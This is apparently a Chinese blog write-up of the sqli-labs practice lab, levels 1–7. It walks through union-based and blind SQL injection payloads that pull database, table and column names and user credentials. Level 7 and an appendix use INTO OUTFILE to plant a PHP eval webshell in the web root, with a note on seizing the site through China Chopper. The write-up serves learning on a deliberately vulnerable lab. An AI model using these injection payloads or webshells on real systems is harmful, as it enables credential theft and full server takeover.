sql-libs游戏笔记(1~7)

在这里插入图片描述


先说一下在注入时的注释问题:在URL中不能用井号“#”来注释了,因为他后面的内容会被服务器舍去。所以要用“ --空格 ”(这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- , 原因是+在URL被URL编码后会变成空格
或者用#的url编码——%23。

首先介绍一下基础知识:
url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%
空格是%20,单引号是%27, 井号是%23,双引号是%22

注入的一般步骤:
1.判断是否存在注入,注入类型是字符型还是数字型
2.猜测SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前的数据库信息
5.获取数据库的表
6.获取表中的字段名
7.下载数据

然后我们现在开始操作了!

less-1(GET-Error based-String)

输入id=1可以看到用户名和密码,说明是可访问的。
随便输一个id值,返回了name和password,接着测试是否能注入
在这里插入图片描述
输入1’,发现报错,直接报的数据库的错,对web浏览器用户透明,那么可以从报错中得到很多信息,比如这是个MySQL的数据库,还可以猜想到后台的sql语句,应该是“SELECT * FROM table_name WHERE id='$_get['id']' LIMIT 0,1”这种,说明他没有过滤单引号并且id是char型的输入,之所以报错是因为用了单引号,导致后面的部分“'LIMT 0,1;”多余出来了:
在这里插入图片描述
猜得后台sql语句应为:SELECT * FROM table_name WHERE id= ''$_get['id']'' LIMIT 0,1
而且我们发现,当我们输入?id=1’后,url中的单引号被自动url编码了。

接下来我们就开始了:
输入?id=1’ or 1=1–+,正常显示:
在这里插入图片描述
输入?id=1’ and 1=2–+,无法正常显示:
在这里插入图片描述
说明存在注入,且为字符型的。

输入?id=1’ order by 1–+
?id=1’ order by 2–+

当输入?id=1’ order by 4–+时报错,说明只有3个字段。
在这里插入图片描述
输入?id=1’ union select 1,2,3–+,可以看到页面成功执行,但是没有返回union select的结果。在这里插入图片描述
这就很奇怪,按理说sql语句中的limit 0,1会被-- 给注释掉,为什么还是回执返回一行数据呢。查看源代码:
在这里插入图片描述
原来使用了mysql_fetch_array()这个函数,且没有循环操作,所以只执行一次mysql_fetch_array(),只能返回一条数据。
我们可以设置参数id的值,让服务端返回union select的结果,例如我把id改为-1,这样数据库中就没有id=-1的数据,就不会返回union select前的语句的查询结果,而显示了后面的结果。
在这里插入图片描述
由上图我们可以看到,返回union select的结果2和3,意味着在union select 1,2,3中,2和3的位置可以输入sql语句,我这里在2的位置查询当前数据库名(使用database()函数)。

输入?id=-1’ union select 1,database(),3–+如下图可看到页面成功返回数据库信息
在这里插入图片描述
以上得知我们的数据库库名(security)后,接下来在3的位置上查询库名下的表名
输入:?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
在这里插入图片描述

如果在2号位置:?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3–+
在这里插入图片描述
或者你也可以?id=-1’ union select 1,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),3–+,通过改变limit的参数一点一点的爆。麻烦。

爆users表中的字段:输入:?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’–+
在这里插入图片描述
下载数据:输入:?id=-1’ union select 1,group_concat(id,username),group_concat(password) from users–+
在这里插入图片描述
完成。

less-2(GET-Error based-Intiger based)

输入?id=1’,报错:在这里插入图片描述
输入?id=1 or 1=1–+,显示正常
?id=1 and 1=2–+,显示不正常
可知,存在sql注入,且为数字型的注入。
由于之后的步骤与Less-1一样,所以直接省去,直接下载数据:
?id=-1 union select 1,group_concat(username),group_concat(password) from users–+
在这里插入图片描述

Less-3(闭合括号,单引号报错)

首先来了解语句构造方法:
我们输入id=1可以看到未报错,输入id=1’ 报错,输入id=1" 未报错,说明后台参数用的单引号来闭合的。
在这里插入图片描述
为字符型注入。
在这里插入图片描述
再对比下之前我们在less-1中的报错信息(如下图),
在这里插入图片描述
可以看到,在less-3中报错信息中“1”后面多了个又括号“ ) ”
我们查看一下源代码,发现是多了一个括号的,把参数id括起来了,所以我们此时要构造id=1’)闭合前面的括号和引号
在这里插入图片描述
爆数据库:
?id=-1’) union select 1,2,database()–+ (别忘了是-1而不是1)
闭合后语句为:

$sql="SELECT * FROM users WHERE id=('-1') union select 1,2,database()--+') LIMIT 0,1";

在这里插入图片描述
爆表名:?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
在这里插入图片描述
后续操作方法与之前一样。

Less-4(闭合括号,双引号报错)

首先来了解语句构造方法:

输入 id=1’ 显示正确,输入 id=1" 显示错误(如下图),可以看到后面有个),说明这里跟前面less-3一样,也是用 ) 来闭合,只不过这里从单引号变成了双引号
在这里插入图片描述
在这里插入图片描述
第一行给id加上了双引号。
方法与上题一样。。。。。。

Less-5(string 盲注)

输入id=1,一直显示:You are in…
在这里插入图片描述
发现如果运行返回结果正确的时候只返回you are in…,如果不正确就啥也没有
在这里插入图片描述
输入?id=1’,报错:
在这里插入图片描述
可见这里后台sql语句中的参数使用单引号来闭合的。

第一种方法:复杂substr()、ascii()函数进行测试,详情见这:https://blog.csdn.net/qq_45521281/article/details/105508742
方法二:利用left(a,b)进行测试
(两个方法思路其实一样)

利用left(a,b)进行测试:

sql的 left(a,b) 函数表示的是从 字符表达式a 最左边一个字符开始返回指定数目的字符。若 b 的值大于 a 的长度,则返回字符表达式的全部字符a;如果 b 为负值或 0,则返回空字符串。

select left(CONTRACT_NAME,2) from gb_t_contract  where 1=1;
#从字符表达式最左边一个字符开始返回指定数目的字符.
#若 b 的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串.
#两个参数为必须。
select left('2323232',9) ;

测试数据库版本
利用left(database(),1)进行尝试
输入:
?id=1' and left(version(),1)=5--+
在这里插入图片描述
查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。

当版本号信息不正确的时候就不能够正常显示“you are in …”
在这里插入图片描述
接下来看看数据库的长度
输入
?id=1' and length(left(database(),1000))=9--+ //错误
?id=1' and length(left(database(),1000))=8--+ //正确
用“1000”是为了能够返回database()字符串的全部。
在这里插入图片描述
也可以?id=1' and length(database())=8--+

接下来猜测一下数据库的第一位:
用’a’、‘b’、‘c’、‘d’……‘w’、‘y’、'z’挨个试呗!!!
?id=1' and left(database(),1)>'a'--+
?id=1' and left(database(),1)='s'--+
在这里插入图片描述
经过测试大于、小于之后,我们最后可以用等于确定第一个字符为“s”

测试数据库第二位:
?id=1' and left(database(),2)>'sd'--+ //正确
?id=1' and left(datbase(),2)>'se--+' //错误
?id=1' and left(database(),2)='se'--+ //正确
在这里插入图片描述
由此可以确定第二位为“e”

之后的判断都是一样的,依次猜解就好,只需要修改left(a,b)中b的位置(该位置决定从哪个位置开始判断测试)。不要忘了字母也是可以比较的,其本质就是比较字母的ASCII码。

测数据库中的表个数:
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

测试各表名长度:
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6--+
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>6--+
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))>6--+
……

测试表名组成元素:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'a'--+
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)>'us--+'
……

测试某表中字段个数:
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='xxx')=4--+
……
测试某表中字段名长度:
?id=1' and length((select column_name from information_schema.tables where table_schema=database() and table_name='xxx' limit 0,1))>6--+
?id=1' and length((select column_name from information_schema.tables where table_schema=database() and table_name='xxx' limit 1,1))>6--+
……
先不玩了……

Less-6(string 盲注)

输入?id=1,好像依然是盲注:
在这里插入图片描述
输入?id=1’:
在这里插入图片描述
输入?id=1",报错:
在这里插入图片描述
可知后台的sql语句中的参数是用双引号“ " ”来闭合的。

以上说明这里也是使用的报错注入的方法来显示我们想要得到的结果,但是与less-5不同的是,这里使用的是双引号,而less-5是单引号。故Less-6只需在Less-5的基础上修改一点用双引号来闭合即可。
不在赘述。。。。。。

@Less-7(Dump into outfile-用file权限向服务器写入文件)@

首先我们来尝试一下,输入id=1:(返回You are in… Use outfile…)
在这里插入图片描述
输入id=1’,报错:(说明页面可能存在注入,而后台很可能是用的单引号)
在这里插入图片描述
使用id=1’–+,还是报错:
在这里插入图片描述
再加个括号试试,还是错误
在这里插入图片描述
加两个括号试试,输入id=1’))–+,竟然对了!!!

在这里插入图片描述
查看源代码:
在这里插入图片描述
由上图可以看到页面显示outfile,意思是用file权限向服务器中写入文件,我们就先尝试下写数据。

数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在文件的权限。我们必须知道服务器上一个可以写入文件的文件夹的完整绝对路径。

导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面。

常用的语句是: select '<?php @eval($_POST['giantbranch']);?>' into outfile "XXX\\test.php" ,当然这里要获取到网站的在系统中的具体路径(绝对路径)。

这个要怎么获取呢,可以根据 系统 和 数据库 猜测:
如win server的iis默认路径是c:/inetpub/wwwroot/;
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等;
apache就是/var/www/htm,/var/www/html/htdocs
或者用:
@@datadir是读取 数据库路径
@@basedir是获取MYSQL 安装路径

由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好

可以输入命令获取

输入id=-1' union select null,@@datadir,@@basedir--+ (因为这里要用union查询,所以别忘了要用-1)
这里解释一下:
@@datadir是读取 数据库路径
@@basedir是获取MYSQL 安装路径

这里我是用第一关获取的,不知道为什么我尝试了第7关获取不到目录。
在这里插入图片描述
好的,我们现在知道绝对路径了,就可以开始往数据库写东西了!

数据库导出文件

尝试导出:
?id=1')) union select * from users into outfile "D:\\1.txt"--+ (将users表中的数据导出到1.txt中)
在这里插入图片描述
在这里插入图片描述

写入文件注入:

步骤一:爆字段数:

输入:
?id=1')) union select 1,2,3 into outfile "D:\\phpStudy\\PHPTutorial\\MySQL\\data\\number.php"--+
注意: 在Mysql中,需要注意路径转义的问题,即用\分隔。
在这里插入图片描述
报错,发现语法并未出错,但Mysql报错,且路径下并未出现文件。
可能原因1: 权限不够,需要root权限才能对数据库进行读写操作。
用以下语句看看是否有写入权限,回显正常:
?id=1')) and (select count(*) from mysql.user)>0--+
在这里插入图片描述
说明并非权限不够的问题。

可能原因2:需要在指定的目录下进行数据的导入/导出。
在Mysql命令行中测试:

select "users" into outfile "D:\\1.txt";

在这里插入图片描述
Mysql报错,原因是:Mysql数据库需要在指定的目录下进行数据的导出。
secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行load data、into outfile语句和load_file()函数,这些操作需要用户具有file权限。

  1. 如果这个参数为空,这个变量没有效果。
  2. 如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它。
  3. 如果这个参数为null,Mysql服务会禁止导入和导出操作。
    4.secure_file_priv="/",代表着可以将文件导出到任意目录去。

于是查看secure_file_priv:

show variables like '%secure%';

在这里插入图片描述
可以看到这个参数为null,所以Mysql服务会禁止导入和导出操作。

我们把他修改一下,让其在指定的位置导出文件:
在my.ini中加上这一行:
在这里插入图片描述
重启mysql即可。修改成功:
在这里插入图片描述
再次尝试:?id=-1')) union select 1,2,3 into outfile "D:\\phpStudy\\PHPTutorial\\MySQL\\data\\number.php"--+
此时虽然还是显示“You have an error in your SQL syntax”,但是已经写入成功了:
在这里插入图片描述
在这里插入图片描述

步骤二:爆数据库名

?id=-1')) union select 1,user(),database() into outfile "D:\\1.txt"--+
在这里插入图片描述

步骤三:爆表名

?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema=database() into outfile "D:\\1.txt"--+
在这里插入图片描述
发现有了file权限后,就比一般的盲注简单了不是一点。。。而且生成的导出文件中的内容条理十分清晰。

步骤四:爆字段名

?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "D:\\1.txt"--+
在这里插入图片描述

步骤五:爆数据

?id=-1')) union select * from users into outfile "D:\\1.txt"--+
在这里插入图片描述

配合中国菜刀进行渗透

在该题中,若能更改secure_file_priv参数,并将一句话木马<?php eval($_POST["cmd"]);?>上传至站点的根目录或该web项目的文件,便可用中国菜刀或蚁剑来连接webshell地址拿下整个站点。
?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\cmd.php"--+
注意:必须用单引号将<?php @eval($_POST["cmd"]);?>括起来
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

附录:导入/导出相关函数

@@datadir——数据库存储路径
@@basedir——Mysql安装路径
dumpfile——导出文件,类似outfile;不同的是,dumpfile一次导出一行,会和limit结合使用
load_file()——将文件导入mysql,用法select load_file(“文件路径”)

使用select … into outfile以逗号分隔字段的方式将数据导入到一个文件中:
select * into outfile 'D:\\log1.txt' fields terminated by ',' from log.log1

将刚刚导出的文件log1.txt导入到表log1相同结构的log2中:
load data infile 'D:\\log1.txt' into table aa.log2 fields terminated by ','

使用select * into outfile导出:
select * into outfile 'D:\\test.txt' fields terminated by ',' optionally enclosed by '"' lines terminated by '\n' from test.table

导入:load data infile '/tm/fi.txt' into table test.fii fields terminated by ',' optionally enclosed by '"' lines terminated by '\n'

fields terminated by ‘,’——字段间分割符
optionally enclosed by ‘"’——将字段包围,对数值型无效
lines terminated by ‘\n’——换行符

MySQL写一句话木马

传统的SQL语句写shell
通过SQL注入select into outfile实现,如:
1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#

MySQL写木马,通常可以通过phpmyadmin来实现。
前提条件:有读写的权限,有CREATE、INSERT、SELECT的权限。

1、创建一个表
CREATE TABLE a (cmd text NOT NULL);
2、插入数据
INSERT INTO a (cmd) VALUES('<?php eval($_POST['password']);?>');
3、导出一句话
SELECT cmd from a into outfile '/var/www/tmp/webshell.php';
4、删除表
Drop TABLE IF EXISTS a;

  • 4
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值